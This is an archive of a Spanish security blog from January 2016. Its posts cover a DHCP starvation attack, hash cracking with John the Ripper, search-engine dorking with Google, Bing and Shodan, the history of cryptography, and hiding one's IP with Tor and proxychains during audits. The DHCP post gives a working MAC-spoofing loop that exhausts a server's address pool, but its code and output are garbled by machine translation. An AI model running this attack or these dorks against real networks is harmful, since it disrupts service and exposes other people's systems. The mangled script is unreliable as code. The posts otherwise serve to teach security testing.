viernes, 29 de enero de 2016

En que consiste un ataque "DHCP starvation"

Un ataque "DHCP hambre" Trata de inundar con Peticiones "DHCP_REQUEST" DHCP Servidor al, Y falsas con la ayuda de Direcciones MAC, párr · intentar agotar su espacio de Direcciones asignables. El Objetivo es Que El Servidor DHCP no Pueda respondedor una Otros Clientes y poder Realizar Otros Tipos de Ataques (rogue DHCP). 




Realmente ESTAMOS hablandos de Un tipo de ataque muy Efectivo y Fácil de Realizar. Unicamente DEBEMOS Tener dhclient y macchanger instalados en La Máquina, y Con el guión siguiente, Podremos reproducirlo Problemas pecado:



sh -v starve.sh 

#! / bin / bash



mientras que la verdadera; hacer

# Matar a todos los clientes DHCP que ejecutan - por si acaso

killall dhclient

rm -f /var/run/dhclient.pid



# Derribar la interfaz

ifconfig eth0 down



# Cambiar la dirección MAC de la interfaz e imprimir la nueva dirección MAC

macchanger -a eth0 2> & 1 | grep Faked



# Trae la interfaz hasta

ifconfig eth0



# Hacer un nuevo contrato de arrendamiento de DHCP

eth0 dhclient 2> & 1 | grep DHCPACK

hecho

Falsificada MAC: 00: 10: a8: 19: ef: 88 (Reliance Computer Corp.)

DHCPACK de 192.168.0.101 desde 192.168.0.1

MAC falsa: 00: 0c: 5c: cd: fa: df (Sistemas GTN Bv)

DHCPACK de 192.168.0.102 desde 192.168.0.1

Falsificada MAC: 00: 09: e6: 46: 45: f3 (Ciber conmutación Inc.)

DHCPACK de 192.168.0.103 desde 192.168.0.1

MAC falsa: 00: 0d: f1: 7b: 03: 1c (Ionix Inc.)

DHCPACK de 192.168.0.104 desde 192.168.0.1

Falsificada MAC: 00: 09: 63: e4: c5: 14 (Dominio Lasercom Inc.)

DHCPACK de 192.168.0.105 desde 192.168.0.1

MAC falsa: 00: 10: d6: 45: 8b: 59 (Itt - A / cd)

DHCPACK de 192.168.0.106 desde 192.168.0.1

MAC falsa: 00: a0: 8b: 4b: 90: ae (Aston Electronic Designs Ltd.)

DHCPACK de 192.168.0.107 desde 192.168.0.1

Falsificada MAC: 00: 50: b6: 9c: 26: 79 (. Buen Camino Ind Co., Ltd.)

DHCPACK de 192.168.0.108 desde 192.168.0.1

Falsificada MAC: 00: 30: 44: 59: 60: 85 (Portsmith Llc)

DHCPACK de 192.168.0.109 desde 192.168.0.1

MAC falsa: 00: 10: 6e: 2d: 70: 7a (. Tadiran Com Ltd.)

DHCPACK de 192.168.0.110 desde 192.168.0.1

MAC falsa: 00: 90: 2c: 96: f1: 77 (Datos y Control Equipment Ltd.)

DHCPACK de 192.168.0.111 desde 192.168.0.1

MAC falsa: 00: 20: cc: dd: 04: 91 (Digital Services, Ltd.)

DHCPACK de 192.168.0.112 desde 192.168.0.1

MAC falsa: 00: 0F: 0d: e0: 60: ae (Hunt Electronic Co., Ltd.)

DHCPACK de 192.168.0.113 desde 192.168.0.1

Falsificada MAC: 00: 80: 39: ba: 9d: 42 (Alcatel Stc Australia)

DHCPACK de 192.168.0.114 desde 192.168.0.1

MAC falsa: 00: 30: d8: 1e: d4: aa (Sitek)

DHCPACK de 192.168.0.115 desde 192.168.0.1

MAC falsa: 00: 01: ser: 3e: ac: c1 (GigaLINK Co., Ltd.)

DHCPACK de 192.168.0.116 desde 192.168.0.1

MAC falsa: 00: 80: 9 sexies: 81: c9: cf (Datus Gmbh)

DHCPACK de 192.168.0.117 desde 192.168.0.1

MAC falsa: 00: 80: f2: f4: 3e: 39 (Raycom Systems Inc)

DHCPACK de 192.168.0.118 desde 192.168.0.1

MAC falsa: 00: 0e: 1e: c3: c8: 19 (Privado)

DHCPACK de 192.168.0.119 desde 192.168.0.1

Falsificada MAC: 00: 40: 35: 90: 91: 9 sexies (Opcom)

DHCPACK de 192.168.0.120 desde 192.168.0.1

Falsificada MAC: 00: 80: 24: ad: fb: d9 (Kalpana, Inc.)

DHCPACK de 192.168.0.121 desde 192.168.0.1

MAC falsa: 00: e0: ee: b5: 4f: 15 (Marel Hf)

DHCPACK de 192.168.0.122 desde 192.168.0.1

Falsificada MAC: 00: 50: 03: 17: 23: 47 (Gretag Macbeth Ag)

DHCPACK de 192.168.0.123 desde 192.168.0.1

MAC falsa: 00: e0: ef: 28: db: 37 (Dionex)

DHCPACK de 192.168.0.124 desde 192.168.0.1

MAC falsa: 00: 0F: a5: ba: 1f: 1d (SMP / Bwa Technology GmbH)

DHCPACK de 192.168.0.125 desde 192.168.0.1

MAC falsa: 00: 08: 1e: 5a: e3: d9 (Repeatit Ab)

DHCPACK de 192.168.0.126 desde 192.168.0.1

Falsificada MAC: 00: 0e: 52: 7f: eb: c5 (Optium Corporation)

DHCPACK de 192.168.0.127 desde 192.168.0.1

Falsificada MAC: 00: 50: 10: b6: f1: f0 (Novanet Learning, Inc.)

DHCPACK de 192.168.0.128 desde 192.168.0.1

Falsificada MAC: 00: 04: 2a: 14: 14: 11 (Redes inalámbricas, Inc.)

DHCPACK de 192.168.0.129 desde 192.168.0.1

Falsificada MAC: 00: 60: b2: 49: 66: ac (Control de Procesos Corp.)

DHCPACK de 192.168.0.130 desde 192.168.0.1

Falsificada MAC: 00: a0: 44: 14: 5e: 8a (NTT Es Co., Ltd.)

DHCPACK de 192.168.0.131 desde 192.168.0.1

Falsificada MAC: 00: 90: f5: 06: 6d: f3 (Clevo Co.)

.

.

.

.

DHCPACK de 192.168.0.196 desde 192.168.0.1

Fingido MAC: 00: 30: 40: a3: d0: 37 (Cisco Systems, Inc.)

DHCPACK de 192.168.0.197 desde 192.168.0.1

Falsificada MAC: 00: 20: 94: 9 sexies: c7: 32 (Cubix Corporation)

DHCPACK de 192.168.0.198 desde 192.168.0.1

Falsificada MAC: 00: 40: 9d: f9: 15: 13 (Digiboard, Inc.)

Falsificada MAC: 00: 05: 0d: 10: 15: 2f (Midstream Technologies, Inc.)

Falsificada MAC: 00: 0d: 3c: 7e: ea: 92 (I.tech dinámico Ltd)

Falsificada MAC: 00: 07: dc: 51: c3: e9 (Atek Co, Ltd)

Falsificada MAC: 00: 02: 18: 3c: 73: cb (Advanced Scientific Corp)


Fuentes:


lunes, 25 de enero de 2016

Crackeando Contraseñas con John The Ripper

Ya hemos visto en artículos anteriores algo de historia sobre la criptografía y los métodos de cifrado más utilizados en la actualidad, el día de hoy lo dedicaremos a ver como podemos descifrar contraseñas con una herramienta que nos ayudará a entender mejor el tema, y que nos automatizará todo el trabajo.

Imagen 1 : Crackeando Contraseñas con la ayuda de John The Ripper
En concreto utilizaremos John The Ripper, una herramienta de crackeo de contraseñas escrita en C y muy utilizada por los analistas de seguridad para comprobar la robustez de una clave frente a los ataques de fuerza bruta.

En primer lugar debemos tener claro, a que hacemos referencia cuando nos referímos a un "hash". La función principal que cumple el "hash" es proteger la confidencialidad de una contraseña, asegurándonos que no sea visible en texto plano. En concreto, es un algoritmo que nos permite crear a través de una entrada (contraseña, texto, archivos) una salida alfanumérica con una longitud fija.

La función que cumple un "hash", es mantener en oculto el texto de entrada. Sólo conocemos el texto de salida, pero no podemos obtener el texto de entrada a partir de él. De esta manera se protegen las contraseñas cuando las guardamos en una base de datos o en cualquier tipo de archivo del sistema. Matemáticamente, el "hash" se asemeja a una función de inyección, por este motivo utilizamos los ataques de fuerza bruta para intentar descubrir el texto de entrada. Se prueban millones de palabras desde un diccionario hasta que alguna sea igual al "hash" que tenemos.


Imagen 2 : El "hash" se asemeja a una función de inyección

Existen diferentes tipos de hash para cifrar contraseñas, los que pasaremos a ver a continuación son sólo dos, de los métodos más utilizados y con los que seguro, te encontrarás en alguna ocasión.


MD5 

Es un algoritmo de reducción criptográfico de 128 bits que nos permite cifrar una contraseña (en este caso), con una longitud de 32 caracteres alfanuméricos. Un ejemplo sería el siguiente:

Texto Plano: admin
Cifrado con MD5: 21232f297a57a5a743894a0e4a801fc3

Para descifrar la clave anterior solo nos tenemos que posicionarnos en el directorio donde tengamos el archivo con la clave guardada. Seguidamente ejecutamos john the ripper y le pasamos el siguiente parámetro:

john --wordlist=Diccionario.txt --format=raw-md5 MD5.txt


Imagen 3 : Ejemplo de password con "hash" en formato MD5
Imagen 4 : Proceso de descifrado de "hash" en MD5 

Opciones Fundamentales:


--wordlist -> con este parámetro indicamos el diccionario a utilizar

--format -> Con esta opción indicamos el formato del hash


SHA

Secure Hash Algorithm, Algoritmo de Hash Seguro (SHA), se trata de un sistema de funciones hash criptográficas, relacionadas con la Agencia de Seguridad Nacional de los Estados Unidos (NSA).

El primer miembro de la familia vió la luz en 1993, oficialmente llamado SHA. Sin embargo, hoy día, coloquialmente lo denominamos SHA-0, para evitar confundirlo con sus sucesores. Dos años más tarde el primer sucesor de SHA fué publicado con el nombre de SHA-1.

En la actualidad tenemos otras cuatro variantes más que se han publicado desde entonces, cuyas diferencias se basan principalmente en un diseño modificado ligeramente y en el incremento de los rangos de salida : SHA-224, SHA-256, SHA-384, y SHA-512 (llamándose SHA-2, todos ellos).

Un ejemplo del hash es el siguiente:

Texto Plano: admin
Cifrado con SHA1: d033e22ae348aeb5660fc2140aec35850c4da997

Para descifrar la clave hacemos lo mismo que con el ejemplo anterior pero esta vez cambiando el formato del "hash":

john --wordlist=Diccionario.txt --format=raw-sha1 SHA1.txt




Imagen 5 : Ejemplo de password con "hash" en formato SHA1
Imagen 6 : Proceso de descifrado de "hash" en SHA1 


Por último decir que hoy en día también existen otros tipos de hash para cifrar contraseñas, como por ejemplo podrían ser:

LM (Lan man o Lan manager), utilizado para cifrar las contraseñas para Windows Xp, NT, 95, 98 y ME.

NTLM (NT LAN Manager), segundo "intento" de Microsoft por mejorar el protocolo de contraseñas.

Hash de Linux , algo más complejo que los anteriores, ya que utiliza una nomenclatura de cifrado añadido de un salt, el cual se añadirá dentro del hash de manera aleatoria.


Fuente: backtrackacademy, Genbetadev


jueves, 21 de enero de 2016

Un repaso por la historia de la criptografía - Tipos de criptografía: simétrica, asimétrica e hibrida (II de II)

Depués de haber conocido los primeros métodos de criptografía de la historia, ahora es turno de aprender cuáles son y cómo funcionan los métodos criptográficos modernos como la criptografía simétrica, asimétrica o híbrida, y por último las funciones de resumen o hash. 

Imagen 1 : Tipos de criptografía: simétrica, asimétrica e hibrida

Criptografía simétrica


En la criptografía simétrica solo utilizamos una clave que previamente deben conocer el emisor y el receptor para poder cifrar y descifrar los mensajes, y precisamente este es el punto débil de este sistema (la comunicación que deben establecer los sujetos para intercambiarse las claves) ya que nos resultaría mucho más sencillo interceptar una clave que se ha transmitido sin ninguna seguridad (diciéndola en alto, mandándola por correo electrónico...) que intentado romper su cifrado.
 

Imgen 2 :

En teoría, debería ser más fácil obtener la clave interceptándola, que intentando descifrarla mediante fuerza bruta, debemos tener en cuenta que la seguridad de un mensaje cifrado debe recaer siempre sobre la clave y nunca sobre el algoritmo.

El ejemplo más claro lo podemos ver con la máquina Enigma, una máquina de cifrado electromecánica que generaba abecedarios según la posición de unos rodillos que podrían tener distintas ordenes y posiciones, usaba el método simétrico con un algoritmo que dependía de una clave que está formada por: los rodillos que utilizaba, su orden y la posición de cada anillo, siendo esto lo más básico.

También iba acompañada de un libro de claves que contenía en su interior la contraseña del día y que hacia un poco más difícil encontrar la clave. Pero tal como se demostró no era una clave lo suficientemente segura, ya que los ingles consiguieron el algoritmo gracias a los polacos, y sobre todo gracias al trabajo del matemático Alan Turing, el famoso creador del test de Turing.

Por otra parte este sistema tambiñen tendría otro incoveniente, ya que si quieres tener una conversación totalmente confidencial con 10 personas, debes aprenderte o apuntarte las 10 claves para cada persona.

Criptografía asimétrica


La criptografía asimétrica está basada en el uso de dos claves: una pública, que se puede difundir sin problemas a todas las personas que necesiten mandarte algo cifrado. Y por otra parte la privada que no se debe revelar nunca.


Imagen 3 :

Teniendo en cuenta lo anterior, si queremos que tres personas diferente nos manden un archivo cifrado tenemos que mandarle nuestra clave pública (vinculada a la privada) y de esta manera nos podrán mandar de forma segura ese archivo que solo nosotros podremos descifrar con la clave privada.

En principio,  podríamos pensar que si sabemos la clave pública podríamos deducir la privada, pero  este tipo de sistemas criptográficos utiliza algoritmos muy complejos que generan a partir de la frase de paso (la contraseña), la clave privada y la pública, que pueden llegar a tener perfectamente un tamaño de 2048bits (probablemente imposible de romper). Como véis solo cifra una persona (con la clave pública) y la otra se sólo se limita a ver el contenido, por lo que la forma correcta de tener una comunicación bidireccional sería realizar este mismo proceso con dos pares de claves, o una por cada comunicador.

Otra ventaja de este sistema es el de poder firmar documentos, certificando que el emisor es quien dice ser, firmando con la clave privada y verificando la identidad con la pública.

Las principales diferencias entre criptografía simétrica y asimétrica, son que la criptografía simétrica es más insegura por el hecho de tener que pasar la clave ya que puede acabar siendo una gran vulnerabilidad. Pero por el contrario también se puede cifrar y descifrar en menor tiempo del que tarda la criptografía asimétrica, que es el principal inconveniente. Este es el motivo por el que se desarrolló la criptografía híbrida.


Criptografía híbrida


  • Este sistema básicamente recoge las ventajas de los dos métodos anteriores, partiendo de que el cifrado simétrico es inseguro y el asimétrico es lento.
  • El proceso para enviar un archivo usando un sistema criptográfico híbrido es el siguiente:
  • Generar una clave pública y otra privada (en el receptor).
  • Cifrar un archivo de forma síncrona.
  • El receptor nos envía su clave pública.
  • Ciframos la clave que hemos usado para encriptar el archivo con la clave pública del receptor.
  • Enviamos el archivo cifrado (síncronamente) y la clave del archivo cifrada (asíncronamente y que solo podrá ver el receptor).


Estos son los métodos criptográficos modernos que usamos con normalidad en nuestro día a día, aunque las herramientas logren astraernos de todo esto, también podemos hacerlo de forma manual si se diera el caso de que necesitasemos mandar ciertos contenidos y queremos asegurarnos de que tengan la confidencialidad adecuada.





Fuente: www.genbetadev.com

domingo, 17 de enero de 2016

Un repaso por la historia de la criptografía (I de II)

La criptografía deriva de la necesidad de realizar comunicaciones por escrito (en su origen) preservando la privacidad de la información que se transmite, y garantizando que ninguna persona que no esté autorizada, pueda leer el contenido del mensaje. 

Imagen 1 : Un repaso por la historia de la criptografía (I de II) ('The Imitation Game')

Durante toda la historía han existido multitud de ejemplos de formas diferentes pata encriptar mensajes. Por ejemplo el cifrado César (de los romanos) o los métodos que utilizaban los espartanos que datan desde hace más de 2.500 años. También podríamos mencionar el cifrado de Polybios (inventado por los griegos) y sin olvidarnos porsupuesto quizás de la máquina de encriptación más famosa de la historia: la máquina Enigma.


Escítala espartana (siglo V a. C.)


Los primeros mensajes cifrados que se conocen, datan aproximádamente del siglo V antes de Cristo, son de procedencia espartana y era un método muy sencillo y rudimentario, consistía en coger una vara (escítala), donde se enroscaba una cinta de cuero o papiro y posteriormente se escribía de forma longitudinal. 

Imagen 2 : Escítala espartana (siglo V a. C.)

En último lugar sólo habría que desenrollar la cinta, y lo que nos quedaría sería un puñado de letras sin sentido. En principio solo se podía descifrar la información con una vara del mismo diámetro que la original sobre la que se escribió (obviamente no era un cifrado tan seguro como pudiera parecer en la época, pero por aquel entonces eran muy pocos los que sabían leer o escribir).

La clave de este método radicaba principalmente en el diámetro que poseía la escítala (o simplemente cada cuantos caracteres empezaba una nueva vuelta).

En este ejemplo proporcionado por Genbeta cifraremos el siguiente texto:

Remember Hacking - Historia de la criptografía - Método usado por los espartanos

Como clave o diámetro de la escítala (n) escojeremos el número 7, es decir, en cada vuelta de la cinta enroscada en el la vara pondremos 7 caracteres. El resultado sería el siguiente:

Rkri opeiipM amnatépreg ototm dgorab-erd ne aolorHlf os iaíusHs as atc aecor-ds

Aquí tenéis el código que utilizamos en el ejemplo:

Imagen 3 : código JavaScript - Método usado por los espartanos

 

Cifrado de Polybios (siglo II a. C.)


Este sistema es el primer cifrado de la historia que funciona por sustitución de caracteres. La invención se le atribuye al antiguo historiador griego Polybios, y este sistema consiste en reemplazar un carácter por el número o letra de una columna o fila (como si estuviéramos jugando al mítico juego de hundir la flota).

Imagen 4 : Cifrado de Polybios (siglo II a. C.)

En el siguiente ejemplo utilizaremos el siguiente texto para probar este método:

Remember Hacking Historia de la criptografia Metodo usado por los griegos

Lo primero que hay que tener en cuenta es que en este método se sustituye la letra "J" por la "I". El resultado de cifrar con la tabla de la imagen (la teóricamente real) sería el siguiente: 

DBAECBAECBABAEDB BCAAACBEBDCCBB BCBDDCDDCDDBBDAA ADAE CAAA ACDBBDCEDDCDBBDBAABABDAA CBAEDDCDADCD DEDCAAADCD CECDDB CACDDC BBDBBDAEBBCDDC

Aquí tenéis el código y podéis probarlo directamente desde el siguiente enlace:
http://lab.xitrus.es/criptografia/griegos.php

Imagen 5 : Código Javascript - Cifrado de Polybios (siglo II a. C.)


Cifrado de Polybios (siglo II a. C.)



Hace más de 2100 años los romanos idearon su propio sistema de encriptación (a la altura de los anteriores) que consistía en reemplazar cada letra por otra, que es el resultado de desplazar tres posiciones hacia la derecha desde el carácter de origen en el abecedario (en la imagen de abajo se entiende a la perfección). 

Imagen 6 : El cifrador del César (siglo I a. C.)

La técnica se puede mejorar cambiando el abecedario "desplazado" por uno aleatorio por ejemplo, pero el método en principio es desplazando tres caracteres a la derecha (y para descifrarlo hacerlo al contrario, a la izquierda). Este método también podría admitir los espacios, que se añadirían como un carácter más, o de no usarse se omitirían. 

Como ya hemos hecho antes cifraremos el siguiente texto (contaremos con los espacios):

Remember Hacking Historia de la criptografia Metodo usado por los romanos

Nos devolvería el resultado siguiente:

cuhphpehuckdfnlqjcklvwruldcghcodcfulswrjudildcphwrgrcxvdgrcsrucorvcurpdqrv

En último lugar y para terminar aquí tenéis este otro ejemplo funcional con el sistema de cifrado del César, que admite distinto número de desplazamiento (n), ya sea positivo o negativo (si lo encriptamos con n=3 debemos de desencriptarlo con n=-3)

Imagen 7 : Código Javascript - El cifrador del César (siglo I a. C.)

Esta función nos sirve para cifrar y descifrar (solo tenemos que restar el desplazamiento) y necesita los siguientes argumentos: cesar([Texto],[Entero: desplazamiento],[Booleano: con o sin espacios]).

Esto ha sido solo una pequeña introducción a la criptografía y su gran historia, en la próxima parte veremos los tipos de cifrado modernos que se utilizan hoy en día y sus principales características.




Fuente: www.genbetadev.com

viernes, 15 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (III - III)

Ya hemos visto anteriormente como podemos utilizar Google y Bing para recolectar información y realizar búsquedas más certeras. Como ya os comenté en esté ultimo artículo será el turno del buscador Shodan. Un buscador peculiar, ya que está basado en el hecho de que un gran número de dispositivos y sistemas informáticos están conectados a Internet, y por tanto nos permite realizar búsquedas de dichos dispositivos. 

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (III - III)

Los usuarios de Shodan son capaces de encontrar una gran variedad de sistemas, incluyendo semáforos, cámaras de seguridad, sistemas de calefacción, así como sistemas de control de las estaciones de servicio, plantas potabilizadoras de agua, redes eléctricas, plantas de energía nuclear y de partículas de aceleración de ciclotrón; en su mayoría con poca seguridad.

Shodan es un motor de búsqueda enfocado en permitir a sus usuarios poder buscar a través de una variedad de filtros, entre diferentes tipos de dispositivos o equipos (routers, servidores, etc.) que estén conectados a Internet. Fue creado por John Matherly en el año 2.009, y la idea se basa básicamente en la búsqueda de banners de servicios, que son metadatos que el servidor envía de vuelta al cliente. De esta manera podemos buscar webs que usen el IIS, APACHE u otro tipo de software.

Operadores en Shodan

after:dd/mm/yyyy → Este operador sirve para filtrar las búsquedas y nos muestra como resultado un listado de servidores actualizados.

before:dd/mm/yyyy → Este operador hace lo contrario que “After”, en este caso nos mostrará los resultados previos.

os:windows → Con este operador podemos filtrar la búsqueda a un sistema en concreto.

port:21 → Busca servidores de un servicio especifico.

net: → Busca en rango de direcciones ip's

hostname:dominio.com → Filtra los resultados por nombres de dominios.

city: → Buscar resultados de una ciudad concreta.

country: → Buscar resultados de un país indicado.

geo: → Buscar resultados especificando una latitud y longitud.


Como ejemplo podríamos realizar la siguiente búsqueda :

Server: SQ-WEBCAM


Como ves con este simple ejemplo podríamos encontrar cámaras web en cualquier parte mundo. De la misma manera y con un poco de destreza nos podemos acabar topando con cosas bastante interesantes. Por último os dejo unos enlaces con algunos ejemplos que contienen dorks similares:

http://plcscan.org/blog/documentation/googleshodan-dorks/

http://h4ckhn.blogspot.com.es/2012/02/dorks-interesantes-para-shodan.html

http://highsec.es/wp-content/uploads/2013/12/articulo_OSINT.pdf

http://www.behindthefirewalls.com/2013/04/hakcking-with-default-credentials-and.html



Hacking con buscadores: Google, Bing y Shodan (I - III)

Hacking con buscadores: Google, Bing y Shodan (II - III)

Fuentes:
www.sniferl4bs.com 
Los secretos de Google

lunes, 11 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (II - III)

En el artículo anterior vímos como podemos utilizar los buscadores como Google, con el fin de filtrar nuestras búsquedas y obtener los mejores resultados. Aprendimos que este tipo de buscadores indexan todo tipo de información, y que hay veces que por descuido de un administrador o por una manipulación inadecuada de la información, esta misma queda expuesta públicamente. Por otra parte vimos algún que otro breve ejemplo de lo fácil que era toparnos con este tipo de información.

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (II - III)

Hoy para empezar hablaremos de un tipo de archivo que contienen en su interior muchas páginas web, el fichero llamado "robots.txt". Este archivo sirve para que las web le puedan decir al buscador que no indexe directorios o cierto tipo de información que se prefiere mantener oculta de miradas ajenas. Sin embargo al contrario que el navegador "Bing" que sí interpreta correctamente este fichero "robots.txt", Google muchas veces no lo interpreta y suele pasarse por el forro dicho archivo. Esto que en un primer momento no parece que sea algo muy bueno, nos puedo acabar siendo de ayuda en una auditoría o en una investigación.

Por ejemplo como puedes observar en el siguiente ejemplo Google nos devuelve aproximadamente cerca de 1.600 resultados diferentes sin problemas, mientras que Bing interpreta el fichero robots.txt a la perfección:

Imagen 2: Búsqueda con Google nos arroja cerca de  1.600 resultados

Imagen 3: Búsqueda con Bing no devuelve ningún resultado


Otra ventaja que podríamos destacar es la caché que posee Google, que puede servir para poder comprobar ataques que se produjeron en el pasado o en páginas que han sido eliminadas. Por otro lado para terminar de hablar de Google, en la siguiente dirección podemos encontrar una recopilación de todos los operadores que podemos utilizar, separados por categorías:

https://www.exploit-db.com/google-hacking-database/

Hacking con Bing

Los operadores que se utilizan en Bing son muy parecidos a los de Google aunque existen algunas diferencias significativas. 

En primer lugar en Google si lo que queremos encontrar son archivos log de un servidor ftp, tendríamos que utilizar el operador filetype:log "ftp". Por el contrario en Bing para poder encontrar los mismos archivos tenemos que escribir ext:log "ftp". Para encontrar estos archivos en Bing también podemos hacer uso del operador "filetype", pero debemos hacerlo de la siguiente forma: filetype:txt "ftp.log".

Un operador especial que solo utiliza Bing es el "feed:", nos sirve para buscar fuentes RSS. También tenemos el operador "contains:", que sirve para buscar webs que contengan un enlace a archivos zip, rar, bak, tmp, etc... 

Otro operador bastante interesante y que nos puede dar mucho juego es el "ip:" que nos mostrará todas las páginas web que pertenezcan a una misma dirección IP. Esta opción nos puede ayudar a hacernos una idea de como está formada una empresa u organización que tenga diferentes dominios alojados en una misma dirección IP.

Por último el operador "loc:" nos permite saber que páginas están alojadas en un mismo país. Su uso es muy sencillo solo tenemos que escribir: "loc:es" para páginas españolas, "loc:ru" para páginas rusas ...  y así sucesivamente.

Una de las ventajas de Bing respecto a Google, son todos estos operadores mencionados anteriormente y que Google no interpreta. 

Hasta aquí esta segunda entrega de esta serie de capítulos, en el tercer y último post veremos como funciona el buscador Shodan y las diferencias que posee respecto a otros navegadores.Para terminar os dejo un enlace donde podéis encontrar bastantes dorks que se pueden utilizar en Bing para realizar diferentes tipos de búsquedas:

http://pastebin.com/d2WcnJqA


Hacking con buscadores: Google, Bing y Shodan (I - III)

Hacking con buscadores: Google, Bing y Shodan (III - III) 


Fuentes:
www.sniferl4bs.com 
Los secretos de Google

jueves, 7 de enero de 2016

Hacking con buscadores: Google, Bing y Shodan (I - III)

La mayoría, somos conscientes del potencial que poseen buscadores como Google, Bing o Shodan, pero no todos saben como sacarle el máximo partido a la hora de afinar con nuestras búsquedas para obtener los mejores resultados. Estos buscadores indexan diariamente todo tipo de información pública (y no tan pública), que finalmente queda expuesta esperando a que alguien se tope con ella con la ayuda de una simple búsqueda en su navegador.

Imagen 1: Hacking con buscadores: Google, Bing y Shodan (I - III)

Muchos usuarios suelen preguntarse, cual de estos buscadores es el mejor a la hora de obtener unos resultados concisos en el menor tiempo posible, en cuestiones de seguridad, privacidad etc...

La respuesta es que todos son buscadores diferentes, con características distintas, y enfocados de maneras opuestas. Algunos como Tor, están desarrollados principalmente para preservar la privacidad y seguridad de sus usuarios. Otros por el contrario como Google anteponen la potencia y la precisión de su motor de búsquedas, a la privacidad y anonimato de sus usuarios, ya que recogen y almacenan toda la información posible para mejorar las características y el rendimiento de su navegador. Tanto es así que en los últimos años el "navegador líder" a sido acusado en varias ocasiones de no respetar los derechos ni la privacidad de sus usuarios, incluso hace poco menos de un año, unos estudiantes demandaron a Google acusándolo de espionaje. Por otra parte también existen buscadores como Shodan que están enfocados en la búsqueda de dispositivos (como routers, servidores, etc.).

En definitiva existen decenas de buscadores diferentes y cada uno de ellos trabaja de manera distinta. En esta serie de capítulos veremos como podemos utilizar algunos de los buscadores más utilizados para buscar información relevante que nos serviría a la hora de realizar un "test de intrusión". Aunque también existen software especializado en realizar búsquedas automatizadas en buscadores, nosotros haremos uso de los operadores lógicos que incluye Google para realizar búsquedas que sean lo más precisas posible.

Operadores lógicos en Google


Del mismo modo que en los lenguajes de programación, en Google se pueden utilizar una serie de operadores lógicos para poder realizar búsquedas más certeras.

Por ejemplo si utilizamos el operador (-) se suprimirá ese argumento en la búsqueda. Ej: hacking -ético (nos daría como resultado una búsqueda sin el termino ético).

Otro operador que se utiliza bastante es el "or" o "(|)" este operador hace que en una búsqueda haya más de un termino. Ej: Hacking | Hacker (como resultado obtendríamos una búsqueda con el termino hacker o hacking).

También es importante conocer el operador site:dominio.com, este operador filtra la búsqueda a un dominio concreto, y podemos utilizarlo junto a Filetype:extensión, su función es filtrar la búsqueda para que solo nos salgan archivos con esa extensión, esto nos puede resultar de utilidad si queremos comprobar si una web tiene guardado algún tipo de archivo log del firewall o alguna hoja de excel con nombres y contraseñas.

Por ejemplo si solo queremos ver los archivos log de un sitio en concreto podemos realizar la siguiente búsqueda:  site:nasa.gov filetype:log

Imagen 2: registro de logs pertenecientes al dominio nasa.gov


Lista de operadores lógicos de Google

Allintext:texto → Este operador busca una cadena de texto dentro de una página web y no dentro de una URL. (No se puede utilizar junto a otros)

Allintitle:texto → Busca una cadena de texto solo dentro del titulo de una web. (No se puede utilizar junto a otros)

Intitle:texto → Busca una cadena de texto dentro del título de una web. (Se puede utilizar junto a otros)

Allinurl:texto → Busca una cadena de texto solo en la url. (No se puede utilizar junto a otros)

Inurl:texto → Busca una cadena de texto en la url. (Se puede utilizar junto a otros)

Author:texto → Busca artículos o noticias escritos por el nombre o la dirección de correo indicada. (Se puede utilizar junto a otros)

Cache:dominio.com → Con este operador accedemos a la web que Google tiene en su cache. Útil para cuando borraron un tema y no ha pasado mucho tiempo (No se puede utilizar junto a otros)

Link:dominio.com → Este operador se utiliza para buscar enlaces que apunten a un determinado sitio web. (No se puede utilizar junto a otros)

Related:dominio.com → Busca páginas relacionadas. (No se puede utilizar junto a otros)


Podemos hacer uso de la lista anterior combinando diferentes términos y de esta manera encontrar información determinada sobre un objetivo concreto. También debemos tener en cuenta que es importante ir siempre a la ultima página cuando realizamos una búsqueda, hacer click en "repetir la búsqueda e incluir los resultados omitidos". Después tienes que buscar archivos que tengan abajo un texto como el siguiente "No hay disponible una descripción de este resultado debido al archivo robots.txt de este sitio. Más información". De esta forma encontraréis esos archivos que el propietario del sitio a omitido para que nadie pueda verlos.

Como podéis observar este tipo de búsquedas nos puede dar mucho juego, en el siguiente post seguiremos viendo como podemos utilizar los buscadores como Google, Bing o Shodan, para que nos ayuden a la hora de realizar tareas de hacking y seguridad informática. Veremos otros parámetros que podemos utilizar con Google y los diferente tipos de operadores que se utilizan en Bing y Shodan.


Hacking con buscadores: Google, Bing y Shodan (II - III)

Hacking con buscadores: Google, Bing y Shodan (III - III)


Fuentes:
www.sniferl4bs.com 
Los secretos de Google

domingo, 3 de enero de 2016

Manteniendo el anonimato en Kali Linux

Kali Linux es una de las distribuciones más utilizadas para auditar servidores y sitios webs , no obstante, siempre es muy importante mantener al máximo el anonimato cuando vamos a realizar este tipo de tareas, para que ni el servidor ni los administradores sean capaces de identificarnos durante la auditoría. 

Imagen 1: Kali Linux & Tor

Es por ello que en este "post" veremos como instalar, configurar y utilizar Proxychains y Tor en Kali Linux para garantizar nuestra privacidad y no ser identificados.

En primer lugar actualizaremos el sistema con el siguiente comando: 

sudo apt-get update && sudo apt-get upgrade

Esperaremos a que el sistema se actualice correctamente y una vez terminado el proceso, instalaremos Tor  desde sus repositorios oficiales tecleando:

sudo apt-get install tor




Una vez finalizada la instalación, iniciamos el servicio:

sudo service tor start

Y seguidamente comprobamos que se ha iniciado correctamente:

sudo service tor status




Una vez echo todo esto tenemos que modificar el archivo de configuración de Proxychains, para ello teclearemos:

sudo nano /etc/proxychains.conf

Nos abrirá el archivo en cuestión con el editor de textos, y en él debemos realizar los siguientes cambios:

  • Des-comentar borrando el # la línea dynamic_chain
  • Comentar con un # la línea strict_chain
  • Añadir al final del archivo: socks5 127.0.0.1 9050



Después de esto ya tendremos instalado Tor y habremos configurado proxychains correctamente, lo que quiere decir que ya podremos navegar en anonimato con la ayuda de Tor.

Escribiremos proxychains, más el nombre de la herramienta que vayamos a utilizar para que todo el tráfico salga a través de Tor. Por ejemplo comprobemos que efectivamente la  dirección "IP" que estamos utilizando está ofuscada por la red Tor. Abrimos el navegador :

proxychains iceweasel 

Y en la siguiente página podemos comprobar que la dirección que estamos utilizando no es nuestra dirección IP real:

http://www.cual-es-mi-ip.net/

A partir de ahora, todo el tráfico que generemos en la ventana del navegador que hemos abierto con el comando anterior será totalmente anónimo (Si abrimos otra ventana diferente sin haber ejecutado la orden anterior, el navegador en este caso si utilizaría nuestra IP real).